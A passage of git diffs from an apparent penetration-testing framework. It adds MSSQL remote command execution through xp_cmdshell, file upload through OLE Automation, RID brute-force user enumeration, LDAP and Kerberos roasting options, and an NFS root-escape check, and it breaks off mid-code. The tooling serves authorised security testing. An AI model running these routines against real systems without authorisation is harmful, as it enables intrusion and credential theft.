self.db_execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
self.UsersTable.c.username == username,
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def get_hosts(self, filter_term=None, domain=None):
|
||||
"""Return hosts from the database."""
|
||||
q = select(self.HostsTable)
|
||||
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif filter_term is not None and filter_term.startswith("domain"):
|
||||
domain = filter_term.split()[1]
|
||||
like_term = func.lower(f"%{domain}%")
|
||||
q = q.filter(self.HostsTable.c.domain.like(like_term))
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
results = self.db_execute(q).all()
|
||||
nxc_logger.debug(f"ldap hosts() - results: {results}")
|
||||
return results
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
@@ -1,7 +1,183 @@
|
||||
from nxc.nxcdb import DatabaseNavigator, print_help
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.nxcdb import DatabaseNavigator, print_table, print_help
|
||||
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
def display_hosts(self, hosts):
|
||||
data = [
|
||||
[
|
||||
"HostID",
|
||||
"IP",
|
||||
"Hostname",
|
||||
"Domain",
|
||||
"OS"
|
||||
]
|
||||
]
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
|
||||
try:
|
||||
os = host[4].decode()
|
||||
except Exception:
|
||||
os = host[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
host_id,
|
||||
ip,
|
||||
hostname,
|
||||
domain,
|
||||
os
|
||||
]
|
||||
)
|
||||
print_table(data, title="Hosts")
|
||||
|
||||
def do_hosts(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
hosts = self.db.get_hosts()
|
||||
self.display_hosts(hosts)
|
||||
else:
|
||||
hosts = self.db.get_hosts(filter_term=filter_term)
|
||||
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [
|
||||
[
|
||||
"HostID",
|
||||
"IP",
|
||||
"Hostname",
|
||||
"Domain",
|
||||
"OS"
|
||||
]
|
||||
]
|
||||
host_id_list = []
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
host_id_list.append(host_id)
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
|
||||
try:
|
||||
os = host[4].decode()
|
||||
except Exception:
|
||||
os = host[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
host_id,
|
||||
ip,
|
||||
hostname,
|
||||
domain,
|
||||
os
|
||||
]
|
||||
)
|
||||
print_table(data, title="Host")
|
||||
|
||||
def help_hosts(self):
|
||||
help_string = """
|
||||
hosts [filter_term]
|
||||
By default prints all hosts
|
||||
Table format:
|
||||
| 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
|
||||
Subcommands:
|
||||
filter_term - filters hosts with filter_term
|
||||
If a single host is returned (e.g. `hosts 15`, it prints the following tables:
|
||||
Host | 'HostID', 'IP', 'Hostname', 'Domain', 'OS' |
|
||||
Otherwise, it prints the default host table from a `like` query on the `ip` and `hostname` columns
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def display_creds(self, creds):
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
domain = cred[1]
|
||||
username = cred[2]
|
||||
password = cred[3]
|
||||
credtype = cred[4]
|
||||
|
||||
data.append(
|
||||
[
|
||||
cred_id,
|
||||
credtype,
|
||||
domain,
|
||||
username,
|
||||
password
|
||||
]
|
||||
)
|
||||
print_table(data, title="Credentials")
|
||||
|
||||
def do_creds(self, line):
|
||||
filter_term = line.strip()
|
||||
|
||||
if filter_term == "":
|
||||
creds = self.db.get_credentials()
|
||||
self.display_creds(creds)
|
||||
elif filter_term.split()[0].lower() == "add":
|
||||
args = filter_term.split()[1:]
|
||||
|
||||
if len(args) == 3:
|
||||
domain, username, password = args
|
||||
if validate_ntlm(password):
|
||||
self.db.add_credential("hash", domain, username, password)
|
||||
else:
|
||||
self.db.add_credential("plaintext", domain, username, password)
|
||||
else:
|
||||
print("[!] Format is 'add domain username password")
|
||||
return
|
||||
elif filter_term.split()[0].lower() == "remove":
|
||||
args = filter_term.split()[1:]
|
||||
|
||||
if len(args) != 1:
|
||||
print("[!] Format is 'remove <credID>'")
|
||||
return
|
||||
else:
|
||||
self.db.remove_credentials(args)
|
||||
elif filter_term.split()[0].lower() == "plaintext":
|
||||
creds = self.db.get_credentials(cred_type="plaintext")
|
||||
self.display_creds(creds)
|
||||
elif filter_term.split()[0].lower() == "hash":
|
||||
creds = self.db.get_credentials(cred_type="hash")
|
||||
self.display_creds(creds)
|
||||
else:
|
||||
creds = self.db.get_credentials(filter_term=filter_term)
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
cred_id_list = []
|
||||
|
||||
for cred in creds:
|
||||
cred_id_list.append(cred[0])
|
||||
data.append([cred[0], cred[1], cred[2], cred[3], cred[4]])
|
||||
|
||||
print_table(data, title="Credential(s)")
|
||||
|
||||
def help_creds(self):
|
||||
help_string = """
|
||||
creds [add|remove|plaintext|hash|filter_term]
|
||||
By default prints all creds
|
||||
Table format:
|
||||
| 'CredID', 'CredType', 'Domain', 'UserName', 'Password' |
|
||||
Subcommands:
|
||||
add - format: "add domain username password <notes> <credType> <sid>"
|
||||
remove - format: "remove <credID>"
|
||||
plaintext - prints plaintext creds
|
||||
hash - prints hashed creds
|
||||
filter_term - filters creds with filter_term
|
||||
If a single credential is returned (e.g. `creds 15`, it prints the following tables:
|
||||
Credential(s) | 'CredID', 'CredType', 'Domain', 'UserName', 'Password'
|
||||
Otherwise, it prints the default credential table from a `like` query on the `username` column
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
def do_clear_database(self, line):
|
||||
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
|
||||
self.db.clear_database()
|
||||
|
||||
@@ -28,6 +28,7 @@ class KerberosAttacks:
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.host = connection.host
|
||||
self.targetDomain = connection.targetDomain
|
||||
self.hash = connection.hash
|
||||
self.lmhash = ""
|
||||
@@ -223,6 +224,10 @@ class KerberosAttacks:
|
||||
|
||||
message = encoder.encode(as_req)
|
||||
|
||||
# If kdcHost isn't set, use the target IP for DNS resolution
|
||||
if not self.kdcHost:
|
||||
self.kdcHost = self.host
|
||||
|
||||
try:
|
||||
r = sendReceive(message, domain, self.kdcHost)
|
||||
except KerberosError as e:
|
||||
|
||||
@@ -5,7 +5,6 @@ def proto_args(parser, parents):
|
||||
ldap_parser = parser.add_parser("ldap", help="own stuff using LDAP", parents=parents, formatter_class=DisplayDefaultsNotNone)
|
||||
ldap_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
ldap_parser.add_argument("--port", type=int, default=389, help="LDAP port")
|
||||
ldap_parser.add_argument("--no-smb", action="store_true", help="No smb connection")
|
||||
|
||||
dgroup = ldap_parser.add_mutually_exclusive_group()
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
@@ -15,13 +14,17 @@ def proto_args(parser, parents):
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
|
||||
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain")
|
||||
vgroup.add_argument("--base-dn", metavar="BASE_DN", dest="base_dn", type=str, default=None, help="base DN for search queries")
|
||||
vgroup.add_argument("--query", nargs=2, help="Query LDAP with a custom filter and attributes")
|
||||
vgroup.add_argument("--find-delegation", action="store_true", help="Finds delegation relationships within an Active Directory domain. (Enabled Accounts only)")
|
||||
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
|
||||
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
|
||||
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate enabled domain users")
|
||||
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
|
||||
vgroup.add_argument("--users", nargs="*", help="Enumerate domain users")
|
||||
vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
|
||||
vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated")
|
||||
vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers")
|
||||
vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers")
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
+44
-1
@@ -15,6 +15,7 @@ from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
from impacket import tds, ntlm
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.dcerpc.v5.dtypes import SID
|
||||
from impacket.tds import (
|
||||
SQLErrorException,
|
||||
TDS_LOGINACK_TOKEN,
|
||||
@@ -141,7 +142,6 @@ class mssql(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
|
||||
return True
|
||||
|
||||
@reconnect_mssql
|
||||
def kerberos_login(
|
||||
@@ -417,3 +417,46 @@ class mssql(connection):
|
||||
else:
|
||||
_type = f"{key['Type']:d}"
|
||||
return f"(ENVCHANGE({_type}): Old Value: {record['OldValue'].decode('utf-16le')}, New Value: {record['NewValue'].decode('utf-16le')})"
|
||||
|
||||
def rid_brute(self, max_rid=None):
|
||||
entries = []
|
||||
if not max_rid:
|
||||
max_rid = int(self.args.rid_brute)
|
||||
|
||||
try:
|
||||
# Query domain
|
||||
domain = self.conn.sql_query("SELECT DEFAULT_DOMAIN()")[0][""]
|
||||
|
||||
# Query known group to determine raw SID & convert to canon
|
||||
raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""]
|
||||
domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4]
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error parsing SID. Not domain joined?: {e}")
|
||||
|
||||
so_far = 0
|
||||
simultaneous = 1000
|
||||
for _j in range(max_rid // simultaneous + 1):
|
||||
sids_to_check = (max_rid - so_far) % simultaneous if (max_rid - so_far) // simultaneous == 0 else simultaneous
|
||||
if sids_to_check == 0:
|
||||
break
|
||||
|
||||
# Batch query multiple sids at a time
|
||||
sid_queries = [f"SELECT SUSER_SNAME(SID_BINARY(N'{domain_sid}-{i:d}'))" for i in range(so_far, so_far + sids_to_check)]
|
||||
raw_output = self.conn.sql_query(";".join(sid_queries))
|
||||
|
||||
for n, item in enumerate(raw_output):
|
||||
username = item[""]
|
||||
if username == "NULL":
|
||||
continue
|
||||
rid = so_far + n
|
||||
self.logger.highlight(f"{rid}: {username}")
|
||||
entries.append(
|
||||
{
|
||||
"rid": rid,
|
||||
"domain": domain,
|
||||
"username": username.split("\\")[1],
|
||||
}
|
||||
)
|
||||
|
||||
so_far += simultaneous
|
||||
return entries
|
||||
|
||||
@@ -5,7 +5,7 @@ from sqlalchemy import func, select, insert, update, delete, Table
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import SAWarning, NoInspectionAvailable, NoSuchTableError
|
||||
|
||||
from nxc.database import BaseDB
|
||||
from nxc.database import BaseDB, format_host_query
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
# if there is an issue with SQLAlchemy and a connection cannot be cleaned up properly it spews out annoying warnings
|
||||
@@ -189,7 +189,7 @@ class database(BaseDB):
|
||||
nxc_logger.debug(f"Hosts: {hosts}")
|
||||
|
||||
if users is not None and hosts is not None:
|
||||
for user, host in zip(users, hosts):
|
||||
for user, host in zip(users, hosts, strict=True):
|
||||
user_id = user[0]
|
||||
host_id = host[0]
|
||||
link = {"userid": user_id, "hostid": host_id}
|
||||
@@ -272,7 +272,6 @@ class database(BaseDB):
|
||||
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
q = format_host_query(q, filter_term, self.HostsTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
@@ -6,13 +6,15 @@ class MSSQLEXEC:
|
||||
self.mssql_conn = connection
|
||||
self.logger = logger
|
||||
|
||||
# Store the original state of options that have to be enabled/disabled in order to restore them later
|
||||
self.backuped_options = {}
|
||||
|
||||
def execute(self, command):
|
||||
result = None
|
||||
try:
|
||||
self.logger.debug("Attempting to enable xp cmd shell")
|
||||
self.enable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to enable x_cmdshell: {e}")
|
||||
|
||||
self.backup_and_enable("advanced options")
|
||||
self.backup_and_enable("xp_cmdshell")
|
||||
|
||||
try:
|
||||
cmd = f"exec master..xp_cmdshell '{command}'"
|
||||
self.logger.debug(f"Attempting to execute query: {cmd}")
|
||||
@@ -27,42 +29,57 @@ class MSSQLEXEC:
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when attempting to execute command via xp_cmdshell: {e}")
|
||||
|
||||
try:
|
||||
self.logger.debug("Attempting to disable xp cmd shell")
|
||||
self.disable_xp_cmdshell()
|
||||
except Exception as e:
|
||||
self.logger.error(f"[OPSEC] Error when attempting to disable xp_cmdshell: {e}")
|
||||
self.restore("xp_cmdshell")
|
||||
self.restore("advanced options")
|
||||
|
||||
return result
|
||||
|
||||
def enable_xp_cmdshell(self):
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
def restore(self, option):
|
||||
try:
|
||||
if not self.backuped_options[option]:
|
||||
self.logger.debug(f"Option '{option}' was not enabled originally, attempting to disable it.")
|
||||
query = f"EXEC master.dbo.sp_configure '{option}', 0;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.logger.debug(f"Option '{option}' was originally enabled, leaving it enabled.")
|
||||
except Exception as e:
|
||||
self.logger.error(f"[OPSEC] Error when attempting to restore option '{option}': {e}")
|
||||
|
||||
def disable_xp_cmdshell(self):
|
||||
query = "exec sp_configure 'xp_cmdshell', 0 ;RECONFIGURE;exec sp_configure 'show advanced options', 0 ;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
def backup_and_enable(self, option):
|
||||
try:
|
||||
self.backuped_options[option] = self.is_option_enabled(option)
|
||||
if not self.backuped_options[option]:
|
||||
self.logger.debug(f"Option '{option}' is disabled, attempting to enable it.")
|
||||
query = f"EXEC master.dbo.sp_configure '{option}', 1;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
else:
|
||||
self.logger.debug(f"Option '{option}' is already enabled.")
|
||||
except Exception as e:
|
||||
self.logger.error(f"Error when checking/enabling option '{option}': {e}")
|
||||
|
||||
def enable_ole(self):
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 1;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
|
||||
def disable_ole(self):
|
||||
query = "exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'Ole Automation Procedures', 0;RECONFIGURE;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
def is_option_enabled(self, option):
|
||||
query = f"EXEC master.dbo.sp_configure '{option}';"
|
||||
self.logger.debug(f"Checking if {option} is enabled: {query}")
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
# Assuming the query returns a list of dictionaries with 'config_value' as the key
|
||||
self.logger.debug(f"{option} check result: {result}")
|
||||
if result and result[0]["config_value"] == 1:
|
||||
return True
|
||||
return False
|
||||
|
||||
def put_file(self, data, remote):
|
||||
try:
|
||||
self.enable_ole()
|
||||
self.backup_and_enable("advanced options")
|
||||
self.backup_and_enable("Ole Automation Procedures")
|
||||
hexdata = data.hex()
|
||||
self.logger.debug(f"Hex data to write to file: {hexdata}")
|
||||
query = f"DECLARE @ob INT;EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;EXEC sp_OASetProperty @ob, 'Type', 1;EXEC sp_OAMethod @ob, 'Open';EXEC sp_OAMethod @ob, 'Write', NULL, 0x{hexdata};EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{remote}', 2;EXEC sp_OAMethod @ob, 'Close';EXEC sp_OADestroy @ob;"
|
||||
self.logger.debug(f"Executing query: {query}")
|
||||
self.mssql_conn.sql_query(query)
|
||||
self.disable_ole()
|
||||
self.restore("Ole Automation Procedures")
|
||||
self.restore("advanced options")
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
|
||||
@@ -29,4 +29,6 @@ def proto_args(parser, parents):
|
||||
tgroup.add_argument("--put-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Put a local file into remote target, ex: whoami.txt C:\\\\Windows\\\\Temp\\\\whoami.txt")
|
||||
tgroup.add_argument("--get-file", nargs=2, metavar=("SRC_FILE", "DEST_FILE"), help="Get a remote file, ex: C:\\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
|
||||
mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
|
||||
return parser
|
||||
+393
-50
@@ -1,13 +1,75 @@
|
||||
from termcolor import colored
|
||||
from nxc.connection import connection
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.helpers.logger import highlight
|
||||
from pyNfsClient import Portmap, Mount, NFSv3, NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3
|
||||
from nxc.config import host_info_colors
|
||||
from pyNfsClient import (
|
||||
Portmap,
|
||||
Mount,
|
||||
NFSv3,
|
||||
)
|
||||
from pyNfsClient.const import (
|
||||
NFS_PROGRAM,
|
||||
NFS_V3,
|
||||
ACCESS3_READ,
|
||||
ACCESS3_MODIFY,
|
||||
ACCESS3_EXECUTE,
|
||||
NFSSTAT3,
|
||||
NFS3ERR_NOENT,
|
||||
NF3REG,
|
||||
)
|
||||
import re
|
||||
import uuid
|
||||
import math
|
||||
import os
|
||||
|
||||
|
||||
class FileID:
|
||||
root = "root"
|
||||
ext = "ext/xfs"
|
||||
btrfs = "btrfs"
|
||||
udf = "udf"
|
||||
nilfs = "nilfs"
|
||||
fat = "fat"
|
||||
lustre = "lustre"
|
||||
kernfs = "kernfs"
|
||||
invalid = "invalid"
|
||||
unknown = "unknown"
|
||||
|
||||
|
||||
# src: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25
|
||||
fileid_types = {
|
||||
0: FileID.root,
|
||||
1: FileID.ext,
|
||||
2: FileID.ext,
|
||||
0x81: FileID.ext,
|
||||
0x4d: FileID.btrfs,
|
||||
0x4e: FileID.btrfs,
|
||||
0x4f: FileID.btrfs,
|
||||
0x51: FileID.udf,
|
||||
0x52: FileID.udf,
|
||||
0x61: FileID.nilfs,
|
||||
0x62: FileID.nilfs,
|
||||
0x71: FileID.fat,
|
||||
0x72: FileID.fat,
|
||||
0x97: FileID.lustre,
|
||||
0xfe: FileID.kernfs,
|
||||
0xff: FileID.invalid
|
||||
}
|
||||
|
||||
# src: https://elixir.bootlin.com/linux/v6.13.4/source/fs/nfsd/nfsfh.h#L17-L45
|
||||
fsid_lens = {
|
||||
0: 8,
|
||||
1: 4,
|
||||
2: 12,
|
||||
3: 8,
|
||||
4: 8,
|
||||
5: 8,
|
||||
6: 16,
|
||||
7: 24,
|
||||
}
|
||||
|
||||
|
||||
class nfs(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "nfs"
|
||||
@@ -22,6 +84,10 @@ class nfs(connection):
|
||||
"gid": 0,
|
||||
"aux_gid": [],
|
||||
}
|
||||
self.root_escape = False
|
||||
# If root escape is possible, the escape_share and escape_fh will be populated
|
||||
self.escape_share = None
|
||||
self.escape_fh = b""
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -50,7 +116,7 @@ class nfs(connection):
|
||||
self.port = self.mnt_port
|
||||
self.proto_logger()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error during Initialization: {e}")
|
||||
self.logger.info(f"Error during Initialization: {e}")
|
||||
return False
|
||||
return True
|
||||
|
||||
@@ -63,13 +129,20 @@ class nfs(connection):
|
||||
for program in programs:
|
||||
if program["program"] == NFS_PROGRAM:
|
||||
self.nfs_versions.add(program["version"])
|
||||
return self.nfs_versions
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error checking NFS version: {self.host} {e}")
|
||||
|
||||
# Connect to NFS
|
||||
nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3)
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
# Check if root escape is possible
|
||||
self.root_escape = self.try_root_escape()
|
||||
self.nfs3.disconnect()
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})")
|
||||
return True
|
||||
root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"])
|
||||
self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})")
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect mount and portmap if they are connected"""
|
||||
@@ -168,23 +241,28 @@ class nfs(connection):
|
||||
# Mount shares and check permissions
|
||||
self.logger.highlight(f"{'UID':<11}{'Perms':<9}{'Storage Usage':<17}{'Share':<30} {'Access List':<15}")
|
||||
self.logger.highlight(f"{'---':<11}{'-----':<9}{'-------------':<17}{'-----':<30} {'-----------':<15}")
|
||||
for share, network in zip(shares, networks):
|
||||
for share, network in zip(shares, networks, strict=True):
|
||||
try:
|
||||
mnt_info = self.mount.mnt(share, self.auth)
|
||||
file_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
self.logger.debug(f"Mounted {share} - {mnt_info}")
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.debug(f"Error mounting share {share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
self.logger.highlight(f"{'-':<11}{'---':<9}{'---'}/{'---':<12} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
else:
|
||||
file_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
info = self.nfs3.fsstat(file_handle, self.auth)
|
||||
free_space = info["resok"]["fbytes"]
|
||||
total_space = info["resok"]["tbytes"]
|
||||
used_space = total_space - free_space
|
||||
info = self.nfs3.fsstat(file_handle, self.auth)
|
||||
free_space = info["resok"]["fbytes"]
|
||||
total_space = info["resok"]["tbytes"]
|
||||
used_space = total_space - free_space
|
||||
|
||||
# Autodetectting the uid needed for the share
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
# Autodetectting the uid needed for the share
|
||||
attrs = self.nfs3.getattr(file_handle, auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
self.mount.umnt(self.auth)
|
||||
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space)}/{convert_size(total_space):<9} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
read_perm, write_perm, exec_perm = self.get_permissions(file_handle)
|
||||
self.mount.umnt(self.auth)
|
||||
self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + "/" + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to list share: {share} - {e}")
|
||||
|
||||
@@ -222,10 +300,16 @@ class nfs(connection):
|
||||
networks = self.export_info(self.mount.export())
|
||||
|
||||
self.logger.display("Enumerating NFS Shares Directories")
|
||||
for share, network in zip(shares, networks):
|
||||
for share, network in zip(shares, networks, strict=True):
|
||||
try:
|
||||
mount_info = self.mount.mnt(share, self.auth)
|
||||
contents = self.list_dir(mount_info["mountinfo"]["fhandle"], share, self.args.enum_shares)
|
||||
self.logger.debug(f"Mounted {share} - {mount_info}")
|
||||
if mount_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {share}: {NFSSTAT3[mount_info['status']]}")
|
||||
continue
|
||||
|
||||
fhandle = mount_info["mountinfo"]["fhandle"]
|
||||
contents = self.list_dir(fhandle, share, self.args.enum_shares)
|
||||
|
||||
self.logger.success(share)
|
||||
if contents:
|
||||
@@ -265,17 +349,38 @@ class nfs(connection):
|
||||
self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth)
|
||||
self.nfs3.connect()
|
||||
|
||||
# Mount the NFS share
|
||||
mnt_info = self.mount.mnt(remote_dir_path, self.auth)
|
||||
# Mount the NFS share or get the root handle
|
||||
if self.root_escape and not self.args.share:
|
||||
mount_fh = self.escape_fh
|
||||
elif not self.args.share:
|
||||
self.logger.fail("No root escape possible, please specify a share")
|
||||
return
|
||||
else:
|
||||
mnt_info = self.mount.mnt(self.args.share, self.auth)
|
||||
if mnt_info["status"] != 0:
|
||||
self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}")
|
||||
return
|
||||
mount_fh = mnt_info["mountinfo"]["fhandle"]
|
||||
|
||||
# Update the UID for the file
|
||||
attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth)
|
||||
self.auth["uid"] = attrs["attributes"]["uid"]
|
||||
dir_handle = mnt_info["mountinfo"]["fhandle"]
|
||||
# Iterate over the path until we hit the file
|
||||
curr_fh = mount_fh
|
||||
for sub_path in remote_file_path.lstrip("/").split("/"):
|
||||
# Update the UID for the next object and get the handle
|
||||
self.update_auth(mount_fh)
|
||||
res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth)
|
||||
|
||||
# Get the file handle and file size
|
||||
dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth)
|
||||
file_handle = dir_data["resok"]["object"]["data"]
|
||||
# Check for a bad path
|
||||
if "resfail" in res and res["status"] == NFS3ERR_NOENT:
|
||||
self.logger.fail(f"Unknown path: {remote_file_path!r}")
|
||||
return
|
||||
|
